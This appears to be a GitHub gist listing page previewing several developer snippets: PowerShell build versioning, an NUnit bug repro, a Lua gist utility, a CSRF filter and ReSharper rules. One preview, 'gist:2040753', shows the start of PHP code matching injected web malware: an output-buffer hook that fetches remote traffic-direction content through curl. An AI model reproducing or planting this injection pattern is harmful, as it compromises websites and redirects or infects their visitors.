View TCGetVersionFromBranch.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
param([string]$buildCounter, [string]$branchName, [string]$defaultPrefix) | |
Write-Host "Getting build number from branch" | |
$versionPrefix=$defaultPrefix | |
$matches = [regex]::Match($branchName, "release-v(?<version>\d+\.\d+)\.x") | |
if ($matches.success) | |
{ | |
$versionPrefix = $matches.groups["version"].value | |
} |
View TCGetVersionFromBranch.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
param([string]$buildCounter, [string]$branchName, [string]$defaultPrefix) | |
Write-Host "Getting build number from branch" | |
$versionPrefix=$defaultPrefix | |
$matches = [regex]::Match($branchName, "release-v(?<version>\d+\.\d+)\.x") | |
if ($matches.success) | |
{ | |
$versionPrefix = $matches.groups["version"].value | |
} |
View BugInTestRunner.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using NUnit.Framework; | |
namespace Demo.Tests | |
{ | |
public class BugInTestRunner | |
{ | |
[TestCase("\u0000")] // works | |
[TestCase("\u0001")] // bug | |
[TestCase("\u0002")] // bug |
View Gist Access
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local function printUsage() | |
print( "Usages:" ) | |
print( "gist <code> <filename>" ) | |
end | |
local tArgs = { ... } | |
if #tArgs < 2 then | |
printUsage() | |
return | |
end |
View The
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
42 |
View CsrfPreventionFilter.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Collections.Concurrent; | |
using System.Net.Http; | |
using System.Threading; | |
using System.Threading.Tasks; | |
using System.Web.Helpers; | |
using System.Web.Http.Controllers; | |
using Newtonsoft.Json.Linq; | |
using IApiAuthorizationFilter = System.Web.Http.Filters.IAuthorizationFilter; | |
namespace System.Web.Mvc |
View Program.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
namespace Truth | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
try | |
{ |
View gist:2040753
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])) | |
{ | |
$_SERVER['mr_no']=1; | |
if(!function_exists('mrobh')) | |
{ | |
function get_tds_777($url) | |
{ | |
$content="";$content=@trycurl_777($url); | |
if($content!==false) | |
return $content; |
View QueryableResharperRules.xml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<CustomPatterns> | |
<Pattern Severity="ERROR" FormatAfterReplace="True" ShortenReferences="True" Language="CSHARP"> | |
<Comment>FirstOrDefault not supported by all Queryable Types</Comment> | |
<ReplaceComment>Convert to supported version</ReplaceComment> | |
<ReplacePattern>$q$.Where($x$).FirstOrDefault()</ReplacePattern> | |
<SearchPattern>$q$.FirstOrDefault($x$)</SearchPattern> | |
<Params /> | |
<Placeholders> | |
<ExpressionPlaceholder Name="q" ExpressionType="System.Linq.IQueryable" ExactType="False" /> | |
<ArgumentPlaceholder Name="x" Minimal="1" Maximal="-1" /> |
View yeah.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public partial class _Default : System.Web.UI.Page | |
{ | |
private BlobContainer _Container = null; | |
protected void Page_Load(object sender, EventArgs e) | |
{ | |
try | |
{ | |
// Get the configuration from the cscfg file | |
StorageAccountInfo accountInfo = StorageAccountInfo.GetDefaultBlobStorageAccountFromConfiguration(); |
NewerOlder